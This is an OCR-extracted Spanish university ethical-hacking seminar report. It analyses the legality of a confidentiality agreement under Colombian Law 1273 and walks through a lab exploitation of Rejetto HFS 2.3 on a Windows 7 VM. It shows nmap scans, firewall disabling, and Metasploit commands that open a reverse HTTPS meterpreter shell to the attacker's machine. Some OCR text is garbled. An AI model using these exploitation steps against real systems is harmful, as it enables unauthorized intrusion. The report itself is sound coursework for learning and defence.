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Figura 15. Conexion del Windows con Kali Linux

0326 PM O

Archivo Acciones Editar Vista Ayuda

root@seminario:~# ip address
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group d
efault qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_1ft forever preferred_lft forever
2: eth@: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state
UP group default qlen 1000
link/ether 08:00:27:1f:41:01 brd ff:ff:ff:ff:ff:ff
inet 192.168.9.4/24 brd 192.168.9.255 scope global noprefixroute eth@
valid_lft forever preferred_lft forever
inet6 fe80::a00:27ff:fel1f:4101/64 scope link noprefixroute
valid_lft forever preferred_lft forever
roota@seminario:~# ping 192.168.9.3
PING 192.168.9.3 (192.168.9.3) 56(84) bytes of data.
From 192.168.9.4 icmp_seq=1 Destination Host Unreachable
From 192.168.9.4 icmp_seq=2 Destination Host Unreachable
From 192.168.9.4 icmp_seq=3 Destination Host Unreachable
From 192.168.9.4 icmp_seq=4 Destination Host Unreachable
From 192.168.9.4 icmp_seq=5 Destination Host Unreachable
From 192.168.9.4 icmp_seq=6 Destination Host Unreachable
From 192.168.9.4 icmp_seq=7 Destination Host Unreachable
From 192.168.9.4 icmp_seq=8 Destination Host Unreachable
From 192.168.9.4 icmp_seq=9 Destination Host Unreachable

Fuente: propia

Cuando se realiza la conexion de la maquina Kali Linux en Windows se puede
evidenciarque se envian 4 paquetes y se reciben otros 4.

Figura 16. Conexién del Windows con Kali Linux

B8 C:\Windows\system32\cmd.exe

Microsoft Windows [Uersion 6.1.76001
iCopyright (c) 2889 Microsoft Corporation. Reservados todos los derechos.

IC:\Users\usuario>ping 192.168.9.4

Haciendo ping a 192.168.9.4 con 32 hytes de datos:

Respuesta desde 192.168.9.3: Host de destino inaccesible.
Respuesta desde 192.168.9.3: Host de destino inaccesible.
Respuesta desde 192.168.9.3: Host de destino inaccesible.
Respuesta desde 192.168.9.3: Host de destino inaccesible.

Estadisticas de ping para 192.168.9.4
Paquetes: enviados = 4, recibidos = 4, perdidos = 8
<8z perdidosd.g

IC:\Users\usuario>

Fuente: propia
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3 DESARROLLO DEL TRABAJO ETAPA 2

3.1 Actuacion Eticay Legal

De manera individual usted debera leer el problema que se encuentra
en el anexo 2 — Escenario 2, ademas deberé leer y analizar el anexo 3 —
Acuerdo para generar la solucion a las siguientes preguntas
orientadoras:

Una vez leido el anexo 2 — escenario 2 y el anexo 3 - acuerdo usted logra evidenciar
algun proceso ilegal y no ético que se esté estipulando en dicho acuerdo debera
argumentar su respuesta y sefialar los fragmentos ilegales del anexo acuerdo en
caso de existir alguna irregularidad.

3.2 Evidenciade procesos ilegales en anexo 2 — escenario 2

En base a lo estudiado en ambos escenarios se puede evidenciar que se
encuentran fragmentos ilegales de la organizacion WhiteHouse Security, primero
que todo se evidencia que los contratos son_“elaborado por un abogado que
va no labora con la organizacion v fue despedido por encontrar algunos
procesos ilicitos.” En mi conocimiento es algo muy imprudente por parte de la
organizacion dejar que una persona que no se encuentra vinculada dentro de la
misma realice contratos y mucho mas que fue despedido por encontrar procesos
ilicitos, cuando la organizacién lo despidié debié acudir a las autoridades
competentes para no volver a ejercer ningun cargo por el estilo

Por otro lado, se tiene que “La alta gerencia no revisoé los contratos con los

gue se reclutara el nuevo personal. por ende, los contratos son entregados
sin modificacién alguna” algo supremamente grave puesto que primero que

todo los contratos los realiza una persona con ningun vinculo laboral a la
organizacion y la alta gerencia no los revisa para saber si cuentan con lo
necesario para garantizar la legalidad del asunto.

3.3 Evidenciade procesos llegales Anexo 3

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, |a parte
receptora, se obliga a no divulgar directa, indirecta, proxima a remotamente,
ni_a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores o cualguier persona relacionada con ella, la
informacion _confidencial o sobre procesos ilegales dentro de Whitehouse
Security no podran ser divulgados.

Considero como experto en seguridad informatica que la organizacion Whitehouse
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Security debe tener reserva de informacién confidencial con todos sus empleados
pero que todo esté dentro de la ley colombiana y si se incurre enalgun proceso ilegal
pueda ser denunciado ante las autoridades competentes.

Cualquier _informacidén societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos
de utilidad, disenos industriales, datos secretos como “datos de chuzadas,
interceptacion de informacién, accesos abusivos a sistemas informaticos”

La organizaciéon Whitehouse Security maneja grandes volumenes de informacion
pues es el producto de las actividades realizadas cada dia de ofensa y defensa,pero
importante recalcar que las actividades de chuzadas sin una orden judicialprevia,
interceptacion de informacion y acceso abusivo a sistemas informaticos sin tener
consentimiento legal al sistema que se quiere atacar es delito segun laley
colombina.

No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacion de informacién de
terceros.

En base a la ley colombiana no denunciar ante las autoridades competentes
actividades sospechosas de espionaje es delito y esta en contra de la ética
profesional que tenemos como especialistas en seguridad informéatica.

Abstenerse de denunciar y publicar la informacidon confidencial e ilegal que
conozca, reciba o intercambie con ocasion de las reuniones sostenidas.

En base a la ley colombiana Abstenerse de denunciar y publicar la informacion
confidencial e ilegal estd en contra de la ética profesional que tenemos como
especialistas en seguridad informatica pues toda practica ilegal debe ser
denunciada ante las autoridades.

Responder ante las autoridades competentes como responsable en caso de
gue la informacién se encuentre en su poder dentro de un proceso de
allanamiento.

En mi conocimiento el responsable directo por lo que se realice dentro de la
organizaciéon Whitehouse Security es la misma organizacién, es una falta de ética
gue responsa un contratista por las actuaciones de una organizacion.

Si la respuesta es afirmativa y usted encontrd algun proceso ilegal en el anexo 3 -
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Acuerdo acuerdo debera mencionar que articulos de la ley 1273 se podrian vulnerar
en dicho acuerdo y especificar porqué vulnera articulos de la ley 1273.

En razén de que se encontraron procesos ilegales y poco éticos en los anexos 2 —
escenario 2 y el anexo 3 se mencionan a continuacion algunos articulos de la ley
1273 que se vulneran en el acuerdo firmado por el estudiante y la organizacion
Whitehouse Security.

3.4 Ley 1273

Accesos abusivos a sistemas informaticos

3.4.1 Articulo 269 A

“Acceso abusivo a un sistema informatico. El que, sin autorizacion o por fuerade lo
acordado, acceda en todo o en parte a un sistema informatico protegido ono con
una medida de seguridad, o se mantenga dentro del mismo en contra dela voluntad
de quien tenga el legitimo derecho a excluirlo, incurrira en pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1.000 salarios
minimos legales mensuales vigentes.”*?

Cualquier informacién societaria, técnica, juridica, financiera, comercial, de
mercado, estratégica, de productos, nuevas tecnologias, patentes, modelos de
utilidad, disefos industriales, datos secretos como “datos de chuzadas,
interceptacion de informacién, accesos abusivos a sistemas informaticos”

3.4.2 Articulo 269 B

“Interceptacion de datos informaticos. El que, sin orden judicial previa intercepte
datos informéticos en su origen, destino o en el interior de un sistemainformatico, o
las emisiones electromagnéticas provenientes de un sistema informético que los
transporte incurrira en pena de prision de treinta y seis (36) a setenta y dos (72)
meses."*

13 COLOMBIA. Ministerio de Tecnologias de la Informacion y las Comunicaciones. Ley 1273 de 2009
(04 enero 2009). Consultado el 28 de noviembre de 2020. Disponible en Internet:
https://www.mintic.gov.co/portal/inicio/3705:Ley-1273-de-2009

14 1D.
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3.4.3 Articulo 269l

“HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES. El que,
superando medidas de seguridad informaticas, realice la conducta sefalada en
el articulo 239 manipulando un sistema informatico, una red de sistema
electrénico, telematico u otro medio semejante, o suplantando a unusuario ante
los sistemas de autenticacion y de autorizacion establecidos, incurrird en las
penas sefialadas en el articulo 240 de este Cédigo.”*®

3.4.4 Articulo 269J

“TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. El que, con animo de
lucro y valiéndose de alguna manipulaciéon informética o artificio semejante,
consiga la transferencia no consentida de cualquier activo en perjuicio de un
tercero, siempre que la conducta no constituya delito sancionado con pena mas
grave, incurrird en pena de prision de cuarenta y ocho (48) a ciento veinte (120)
meses y en multa de 200 a 1500 salarios minimos legales mensuales vigentes.”1®

¢ Existiendo procesos poco confiables en el anexo 3 — Acuerdo? ¢Usted como
experto en ciberseguridad aplicaria a este trabajo en The WhiteHouse, donde
la organizacion dispone de un sueldo de $15.000.000 de pesos colombianos
mensuales y contrato vitalicio? Debe argumentar su respuesta ya sea
afirmativa o negativa y tener en cuenta en la argumentacion lo que se dispone
en COPNIA en su cédigode ética para ingenieros.

3.5 Punto de vista en “operacion Andrémeda buggly”

Debera buscar la noticia del caso “OPERACION ANDROMEDA BUGGLY” en la
ciudad de Bogota, y redactar su punto de vista teniendo en cuenta las
implicaciones legales y éticas que alli se pudieron generar.

Mi punto de vista al respecto del “CASO ANDROMEDA BUGGLY” ocurrido en la
cuidad de Bogota considero que Colombia es un pais que a pesar de su lucha
incansable por aportar a la seguridad informatica y al hacking ético aun falta
mucho, se debe tener una alianza entre las entidades publicas, privadas y la
voluntad de gobierno que se busque solo el bien comdn no el particular o el de

15 COLOMBIA. Ministerio de Tecnologias de la Informacion y las Comunicaciones. Ley 1273 de 2009
(04 enero 2009). Consultado el 28 de noviembre de 2020. Disponible en:
https://www.mintic.gov.co/portal/inicio/3705:Ley-1273-de-2009

16 1D.
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un partido politico.

Colombia es un pais que ha tenido una gran cantidad de especialistas en
seguridad informatica personas con anhelos, sentido de pertenencia, ética y
moral que buscar contribuir a la ayuda comunitaria, al bien y al servicio,
considero que en aquel tiempo existia el desconocimiento en muchas normasy
en oportunidades laborales. La fachada Andromeda hace un reclutamientode
personal experto en seguridad informética y en hacking ético donde deslumbran
con comodas instalaciones, salas de video juegos, espacios de diversion,
torneos de futbol, restaurantes, charlas y conferencias sobre el tema.

La falta de oportunidad laboral y de reglamentacion en esta rama del
conocimiento hace que los profesionales busquen otros paises para ejercer.En
aquel entonces realizaron un reclutamiento de personal en la cual sacaban todo
el provecho del conocimiento de los mismos, “fue una estrategia de cazar
talentos” la cual produjo resultados tanto buenos como malos, los cuales pasaron
por el desconocimiento en la norma y la falta de experiencia como resultado de
esto se cometieron delitos informaticos y a infringir la norma actual del estado
colombiano.

Lo méas desafortunado es el desconocimiento y aprovechamiento de quien
dirigian, afecto la reputacion de muchos expertos y se permitio que grupos no
legales con fines econdmicos y de poder politico se aprovecharan de todo esto
y difamara la labor de todos nosotros.

Finalmente me gustaria aportar que la seguridad informatica y el hacking ético
es una realidad que cada vez coger mas fuerte a nivel mundial, como lo
manifesté al comienzo de la respuesta de este punto de vista considero que
debemos unir fuerzas de todas ramas judiciales del estado y las entidades
privadas para sacar el provecho a todos los grandes expertos que tenemos para
un bien comun que busquemos la integridad confidencialidad disponibilidad de
la informacién del estado, sin ninguna correccion.
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4 DESARROLLO DEL TRABAJO ETAPA 3
4.1 Ejecucioén pruebas de intrusion

La actividad consiste en: de manera individual se debera leer el problema que se
encuentra en el anexo 4 — escenario 3 referente a equipo Red Team y por medio
del banco de trabajo con figurado previamente deberd dar respuesta a las
siguientes preguntas orientadoras:

4.1.1 Herramientas software que utiliz6 para llevar a cabo el a nexo 4 —
escenario 3

Describa de manera especifica las herramientas software que utilizo para llevar a
cabo el anexo 4 — escenario 3 enfocado a Redteam. Debera adjuntarevidencia de
los comandos utilizados y resultados que arrojé cada herramienta utilizada, estas
herramientas deben estar clasificadas segun lospasos de un pentesting.

En la presente actividad se utilizaron varias herramientas para el correcto
desarrollo de la misma, las cuales fueron las siguientes:

4.1.1.1 NMAP

Figura 17. Imagen NMAP
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Fuente: Darkcrizt | | Software Libre. Llega la nueva versién de Nmap 7.80 y estosson sus cambios
mas importantes. [en linea]. Consultado: 01 de marzo de 2022. Disponible en internet:
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Dentro de sus principales caracteristicas se pueden destacar las siguientes:
Descubrimiento de servidores: Identifica computadoras en una red, por ejemplo,
listando aquellas que responden ping.

Identifica puertos abiertos en una computadora objetivo.

Determina qué servicios esta ejecutando la misma.

Determinar qué sistema operativo y version utiliza dicha computadora, (esta
técnica es también conocida como fingerprinting).

Obtiene algunas caracteristicas del hardware de red de la maquina objeto dela
prueba.”t’

Lo mas importante de esta herramienta es que se puede escanear las redes,
puertos y servicios de un sistema y cada vez ofrece a los usuarios mejores
experiencias y mejores resultados. En esta actividad se utilizo el script para
comprobar vulnerabilidades y las mas conocidas en este caso son:

Auth: ejecuta todos sus scripts disponibles para autenticacion.

Default: ejecuta los scripts basicos por defecto de la herramienta.

Discovery: recupera informacion del target o victima.

External: script para utilizar recursos externos.

Intrusive: utiliza scripts que son considerados intrusivos para la victima o target.
Malware: revisa si hay conexiones abiertas por codigos maliciosos o backdoors
(puertastraseras).

Safe: ejecuta scripts que no son intrusivos

Vuln: descubre las vulnerabilidades mas conocidas.

All: ejecuta absolutamente todos los scripts con extension NSE disponibles.!8

4.1.1.2 Metasploit

“Metasploit ayuda a los equipos de seguridad a hacer mas que solo verificar
vulnerabilidades, administrar evaluaciones de seguridad y mejorar la conciencia de
seguridad.!®

17 Darkcrizt | | Software Libre. Llega la nueva version de Nmap 7.80 y estos son sus cambios mas
importantes. [On Line]. Consultado: 01 de marzo 2022. Disponible en:
https://www.Linuxadictos.com/llega-la-nueva-version-de-nmap-7-80-y-estos-son-sus-cambios-mas-
importantes.htm|

18 CORTES, Chris. Auditando con Nmap y sus scripts para escanear vulnerabilidades. [en linea]. 12
febrero 2015 Consultado: 1 de marzo de 2022. Disponible en: https://www.welivesecurity.com/la-
es/2015/02/12/auditando-nmap-scripts-escanear-vulnerabilidades/

19 RAPID7. El marco de prueba de penetracion mas utilizado del mundo. [en linea]. 25 de febrero
2022 Consultado: 02 de marzo de 2022. Disponible en internet: https://www.metasploit.com/
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Figura 18. Imagen Metasploit

Fuente: AVILA. Fredy. Generacion de Payloads en Metasploit #1. [Online]. 21 de
abril de 2018. Consultado: 02 de marzo 2022. Disponible en internet:
https://securityhacklabs.net/articulo/generacion-de-payloads-en-metasploit-1

4.1.1.3 Rejetto v.2.3

Figura 19. Programa que se identifico que es el que producia la pérdida de informacion.

Fuente: MUDUSA. Explotacion Manual | Escalada de privilegios | Montafia de acero |THM | [en
linea]. 02 de febrero Consultado: 11 de Marzo de 2022. Disponible en internet:
https://systemweakness.com/manual-privilege-escalation-rejetto-http-file-server- Windows-rce-
1148a025c15a

4.2 Datos e informacién del anexo 4 —escenario 3 que le fueron deayuda
paraidentificar el fallo de seguridad

A continuacion, se describe los datos e informacion del anexo 4 — escenario 3 que

fueron de ayuda para identificar el fallo de seguridad especifico el cual ataca a la
maquina Windows 7 X64.
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- Fuga de informacion la cual se presenta al interior de la organizacion en uno
de sus equipos de computo en la dependencia.

- Aplicacion llamada rejetto v. 2.3 bajo un Windows 7 con arquitectura X64.

- Exploit que puede terminar en una Shell reversa y una sesion abierta de
meterpreter.

- Falla de seguridad.

- Escalamiento de privilegios.

4.3 ¢Qué herramienta utilizé para poder identificar los fallos de seguridad
de la maquina Windows 7 ? ¢qué puerto abre la aplicacién especifica

en el anexo?

Las herramientas utilizadas para identificar los fallos de seguridad al interior de la
organizacion en una de sus maquinas (Windows 7) fueron las siguientes:

- NMAP

Figura 20. NMAP

Fuente: Darkcrizt | | Software Libre. Llega la nueva versién de Nmap 7.80 y estosson sus cambios
mas importantes. [en linea]. Consultado: 01 de marzo de 2022. Disponible en internet:
https://www.Linuxadictos.com/llega-la-nueva-version-de- nmap-7-80-y-estos-son-sus-cambios-mas-
importantes.html
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- METASPLOIT

Figura 21. Metasploit
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Fuente: AVILA. Fredy. Generacion de Payloads en Metasploit #1. [en linea]. 21
de abril de 2018. Consultado: 02 de marzo 2022. Disponible en internet:
https://securityhacklabs.net/articulo/generacion-de-payloads-en-metasploit-1

Descarga de rejjeto_123456 del drive enviado por el docente

Figura 22. rejjeto_123456
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Fuente: Propia
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Figura 23. Rejjeto

£ HFS - HTTP File Server 2.3

@ Descripcién completa Descargar Informe Antivirus

Publicado por rejetto on 25 Jan 2018

"Un servidor web disefiado para compartir archivos"

SEMRUSH

.Qué es? ... es el intercambio de archivos ... es servidor web ... es de cédigo abierto ... es gratis
... esta garantizado que no contienen malware se puede utilizar en HFS para poder enviar y
recibir facilmente archivos. Se diferencia de uso compartido de archivos clasico, ya que utiliza la
tecnologia web, por lo que es compatible con la Internet de hoy. Se diferencia de los servidores
web clasicos, porque es facil de usar y listo para correr fuera de la caja. Caracteristicas:
descargar y cargar el sistema de archivos virtual de control de ancho de banda de plantilla HTML
Altamente personalizable modo Easy / Expert Log Control total sobre las conexiones de Cuentas
de actualizacion de DNS dinamico \Binner

Qué hay nuevo en esta version: Faster file transfer - Brand new template - Delete files remotely
- Scripting system, for both template and automation - Account groups

iDescubre quién ha ganado
un premio de Semrush!

Tamafio 2.39 MB Desarrollador rejetto
Licencia Gratis (Freeware) Actualizacién 25 Jan 2018
nc T o AL CCO (4T laae L

Fuente: Propia

Figura 24. descarga e instalacion Rejjeto

#8 HFS ~ HTTP File Server 2.3k Build 299 — 0 X
&l Menu ‘ ﬂ? Port: 80 ‘ @2 You are in Easy mode |
@ Open in browser [http:.UWQZJE:B.k‘IOW "1 Copy to clipboard
Virtual File System Log
a/
i IP address ] File Status Speed Time.. Progress
Out: 0.0KB/s  In: 0.0KB/s

Fuente: Propia
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4.4 Explique con sus palabras y de manera especifica como afecta elataque

a la maquina (Windows 7 x64), haga uso de graficos para explicar el
ataque.

Un shell inverso ocurre cuando el host (en este caso, la victima), comunicarse con
el atacante a través de un puerto abierto, en este caso usando un puerto abierto
de la aplicacion rejetto v 2.3, al obtener esto la comunicacion permite que la
maquina atacanteacceda a la maquina victima shell y ejecutar cualquier tipo de
comando, en el caso de laempresa, se puede ver creando un usuario con permisos,

desde equipo, pero al accedera la maquina es vulnerable a cualquier tipo de ataque
que desea realizar en la maquina.

Figura 25. gréfico ataque

Fuga de informacidn la cual se presenta al interior de
la organizacion en uno de sus equipos de cémputo en
la dependencia

- )
| | |
| - I

| | Puertos

El atacante conecta con la victima por
| [ | el puerto que se encuentra abierto L |

— — — —

1 Sy ————
\J—\\/
IP ATACANTE
192.168.192.168.9.4 P VICTIMA
192.168.9.3
NMAP METASPLOIT

%ﬁl

Herramientas utilizadas

Fuente: Propia
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4.5 Documentar cada uno de los pasos que ejecutd para explotar la
vulnerabilidad en la maquina Windows

Documente cada uno de los pasos que ejecutd y sus respectivasevidencias para
explotar la vulnerabilidad en la maquina Windows.

Para poder tener conexién entre las maquinas debemos crear una red la cual
asigne pornombre “seminario” y el direccionamiento manual el cual tiene una
cobertura alta.

Figura 26. creacion de red "seminario"

Fuente: propia

En cada una de las maquinas se debe hacer la modificacién en: red conectado a
red NAT, también en nombre “seminario” que fue la red que inicialmente se creo.
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Figura 27. cambio de red en Kali Linux por "seminario”

@ Kali - Seminario - Configuracion ? X

General Red

Sistema

Adaptador 1 | Adaptador2  Adaptador3  Adaptador 4

Pantalla

Conectado a:  Red NAT
Almacenamiento

Nombre: ~seminario
Audio
» Avanzadas
Red

Puertos serie
UsB

Carpetas compartidas

ERTRCRA R-dof NN |

Interfaz de usuario

Configuracion invéida detectada [}

Fuente: propia

Para tener conexion entre las maquinas debemos asignar direccionamiento ip
manualmente. En la maquina de Windows quedaron asi:

Windows7 x84 192.168.9.3
Windows7 x64 192.168.1.107

Figura 28. cambio de direccionamiento IP

&S ()| # » Paneldecontrol » Redes cintemet » Conediones dered »

Praani D, tad daced _D: esta conexion > - @
U Propiedades de Conexién de area local =]
Funciones de red
o l -
Protocolo d version 4 (TCP/IPvd)

General

g | Puede hacer que la configuracién IP se asigne autométicamente sila

red es compatible con esta funcionalidad. De lo contrario, deberd
consultar con &l administrador de red cudl es la configuracion IP
apropiada.

*) Obtener una direccion IP automaticamente

@ Usar a siguiente direccién IP:

[C] validar configuracién al sali

Opciones avanzadas...

Direccién IP: 192.168. 9 . 3

Méscara de subred: 255.255.255. 0

Puerts de enlace predeterminada: 192.168. 9 . 1
Obtener | n del servidor DNS automaticam

©) Usar las siguientes direcciones de servidor DNS:

Servidor DNS preferido: §.8.8 .8

Servidor DNS alternativo: Bl B 4 ol

Fuente: propia
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En Windows se debe verificar que tengamos firewall desactivado para que se
tenga unabuena conexion.

Figura 29. desactivar firewall de Windows

@Qvlﬁ« Firewall de Windows » Personalizar configuracién + [ 43 ||[ Buscaren et Panel de contra )

Personalizar la configuracion de cada tipo de red

&) (© Desactivar Firewall de Windows (no recomendado)

Configuracién de ubicacién de red publica
0‘ Activar Firewall de dow
Blo

g‘ @ Desactivar Firewall de Windows (no recomendado)

Aceptar Cancelar

Fuente: propia

Evidenciar con printscreen el montaje del banco de trabajoy explicar como
encuentra desplegado “caracteristicas técnicas de hardware”.

Figura 30. cambio de direccién IP en Kali Linux

B mmO=|[O] O Conexiones.. 0 EditandoWi.. 0314PM O 4) A ®W55%| @& G
Editando Wired connection 1
Nombre de la conexion  \Wired connection
Seguridad 802.1x Ajustes de IPv4
Método  Automatico (DHCP)

Direcciones estaticas adicionales

Anadir

192.168.9.4 255.255.255.0 192.168.9.1 =
Eliminar

Servidores DNS adicionales 8,8,8,8

Dominios de busqueda adicionales

ID del cliente DHCP
Requiere direccion IPv4 para que esta conexion se complete

Rutas...

Cancelar

Fuente: propia
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Se realiza la consulta de la direccion IP en Kali Linux IP;

192.168.9.4

Figura 31. Consulta de IP en Kali Linux

Terminalnro.1
Archivo Acciones Editar Vista Ayuda

rootaseminario:~# sudo ifconfig
eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.9.4 netmask 255.255.255.0 broadcast 192.168.9.255
inet6 fe80::200:27ff:felf:4101 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:1f:41:01 txqueuelen 1000 (Ethernet)
RX packets 59 bytes 13762 (13.4 KiB)
RX errors @ dropped @ overruns @ frame @
TX packets 31 bytes 2273 (2.2 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 12 bytes 640 (640.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 12 bytes 640 (640.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

rootaseminario:~# i

Fuente: Propia

Se consulta la direcciéon IP del sistema operativo Windows 7 x64 y de
identifica la IP: 192.168.1.107
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Figura 32. Escaneo de puertos con Nmap desde Kali Linux a Windows x64

Terminalnro.1

Archivo Acciones Editar Vista Ayuda

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x1@<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 12 bytes 640 (640.0 B)
RX errors @ dropped @ overruns @ frame 0
TX packets 12 bytes 640 (640.0 B)
TX errors @ dropped @ overruns @ carrier @ collisions @

root@seminario:~# sudo nmap 192.168.1.107

Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-23 17:20 -05
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disa
bled. Try using —system-dns or specify valid servers with —dns-servers
Nmap scan report for 192.168.1.107

Host is up (0.0050s latency).

Not shown: 995 filtered ports

PORT STATE SERVICE

80/tcp open http

135/tcp open msrpc

139/tcp open netbios-ssn

445/tcp open microsoft-ds

5357/tcp open wsdapi

Nmap done: 1 IP address (1 host up) scanned in 10.47 seconds
root@seminario:~# [|

Fuente: Propia

Figura 33. Escaneo de puertos con Nmap desde Kali Linux a Wn x64

rootaseminario:~# sudo nmap -sV 192.168.1.107

Starting Nmap 7.80 ( https://nmap.org ) at 2022-03-23 17:29 -05
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using —system-dns or specify valid servers with —dns-servers
Nmap scan report for 192.168.1.107

Host is up (0.0048s latency).

Not shown: 996 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http HttpFileServer httpd 2.3k

135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?

Service Info: 0S: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.75 seconds
root@seminario:~#

Fuente: Propia

Se efectla la aplicacion rejetto v.2.3 ya instalada en Kali Linux y se hace
elandlisis de Windows 7 x64 con la direccion IP: 192.168.1.107
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Figura 34.Ejecucion de la aplicacidn rejetto

#8 HFS ~ HTTP File Server 2.3k
& Menu | ) Port:20 | @4 Youarein Easy mode | i) Update now

@ Openiin browser [http://192.168.1.107/katherin]

Build 299

1) Copy to clipboard

Virtual File System

Y

Log

5:12:24 p. m. Check update: new version found: 2.3m
5:29:51 p. m. 192.168.1.107:53956 Requested GET /
5:29:52 p. m. 192.168.1.107:53987 Requested GET /
5:29:52 p. m. 192.168.1.107:53993 Requested GET /
5:29:52 p. m. 192.168.1.107:53994 Requested GET /

99 P address

Speed Time.. Progress

Out: 0.0KB/s  In: 0.0 KB/s

Fuente: Propia

Se crea un usuario administrador en Windows 7 x64 con el propésito de
comprobar la vulnerabilidad y hacer el exploit

Se accede al panel de control desde la maquina victima, cuentas de usuario,
administrar cuentas y se evidencia la creacion del usuario KatherinSanchez y
luego se ejecuta el comando net localgroup revisar la carpeta donde quedo el

usuario.
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Figura 35.Comprobacion de usuario

= =
i ol

@Ujla <] Cuentas de usuario | » | Administrar cuentas + 3 |[ Buscaren et Panel

3 Elegir la cuenta que desee cambiar

| usuario [ KatherinSanchez
Administrador ! Usuario estandar
. ' Invitado
La cuenta de invitado esta desactivada

Crear una nueva cuenta

£Qué es una cuenta de usuario?

Acciones adicionales que se pueden realizar
® Configurar Control parental

Ir a la pagina principal de Cuentas de usuario

Fuente: Propia

Metasploit se ingresa a la consola y se hace la explotacion de la vulnerabilidad por
mediodel comando msfconsole.

Figura 36. Ingreso a la consola con el comando msfconsole

root@lseminario:~# msfconsole

https://metasploit.com

metasploit v 5 ev

2034 exploit 1103 auxiliary - 344 post
562 payloads - 45 encoders - 1@ nops

7 evasion

P
+ — —

————

.,.
|
|

Metasploit tip: Use he > to learn more about any command

msf5 > I

Fuente: Propia
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En el Metasploit se realiza la busqueda de la vulnerabilidad con el siguiente
comando: search httpFileServer

Figura 37. search” httpFileServer

msf5 > search httpFileServer

Disclosure Date Rank Check Description

msf5 > i

Fuente: Propia

Se ejecutar el comando use Q para ingresar a él.

Figura 38. Use 0

Metasploit tip: Use help <command> to learn more about any command

msf5 > search httpFileServer

Disclosure Date Rank Check Description

msf5 > use 0
msfS5 exploit( Y |

Fuente: Propia

Con el comando show options se escoge la variable dentro del Metasploit
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Figura 39. show options

nsf5 exploit( ) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

Current Setting Required Description

Seconds to wait before terminating web server
A proxy chain of format type:host:port[,type:host:port][ ... ]
The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>
The target port (TCP)
The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
The local port to listen on.
Negotiate SSL/TLS for outgoing connections
Path to a custom SSL certificate (default is randomly generated)
TARGETURT  / The path of the web application
URIPATH The URI to use for this exploit (default is random)
VHOST HTTP server virtual host

Payload options (windows/meterpreter/reverse_https):
Current Setting Required Description

EXITFUNC process y Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.9.4 The local listener hostname

LPORT 8443 The local listener port

LURT The HTTP Path

Exploit target:

@  Automatic

msf5 exploit(

Fuente: Propia

set rhosts se realiza el atague apuntando a la direccion IP del Window
x64, la 1P192.168.1.23 entonces se ejecuta asi: set rhosts 192.168.1.107

Figura 40. set rhosts

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from “show payloads'.

msf5 exploit( ) > set rhosts 192.168.1.107

rhosts = 192.168.1.107

Fuente: Propia

Por dltimo, el comando Exploit para su comprobacion

Figura 41. Exploit

If setting a PAYLOAD, this command can take an index from “show payloads'.

msf5 exploit( ) > set rhosts 192.168.1.107

rhosts = 192.168.1.107
nsf5 exploit(

Unknown command: ex®€ploit.
msf5 exploit( ) > exploit

) > exploit

Started HTTPS reverse handler on https://192.168.9.4:8443
Using URL: http://0.0.0.0:8080/0TpqfYE7VhVKS

Local IP: http://192.168.9.4:8088/0TpqfYEIVhVKI

Server started.

Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete

Fuente: Propia

Ahora en la maquina victima Windows 7 x64 se observa el ataque
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Figura 42. Explotacion de vulnerabilidad en Win7 x64 desde Kali Linux

## HFS ~ HTTP File Server 2.3k Build 299

& Menu | ) Port: 80 | @4 You arein Easy mode | i) Update now
@ Open in browser !hﬁp://192.168.1.107/kathevin| ") Copy to clipboard

Virtual File System Log

5:12:24 p. m. Check update: new version found: 2.3m
5:29:51 p. m. 192.168.1.107:53956 Requested GET /
5:29:52 p. m. 192.168.1.107:53987 Requested GET /
5:29:52 p. m. 192.168.1.107:53993 Requested GET /
5:29:52 p. m. 192.168.1.107:53994 Requested GET /

¥ P address 0 Status Speed Time.. Progress

Out: 0.0KB/s  In: 0.0 KB/s

Fuente: Propia

5 DESARROLLO DEL TRABAJO ETAPA 4
5.1 Contencién de ataques informaticos

La actividad consiste en:
De manera individual usted debera leer el problema que se encuentra en el
anexo 5 — escenario 4 referente a equipo Blueteam y por medio del banco de
trabajo conFigurado en la actividad anterior debera dar respuesta a las
siguientes preguntas orientadoras:

